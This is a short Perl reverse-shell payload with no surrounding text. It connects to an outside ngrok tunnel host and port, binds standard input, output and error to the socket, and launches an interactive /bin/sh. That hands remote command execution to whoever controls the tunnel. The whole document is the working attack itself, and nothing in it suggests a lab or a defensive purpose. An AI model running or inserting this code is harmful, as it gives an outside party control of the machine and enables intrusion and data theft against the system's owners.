use Socket;$i="0.tcp.ngrok.io";$p=14185;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};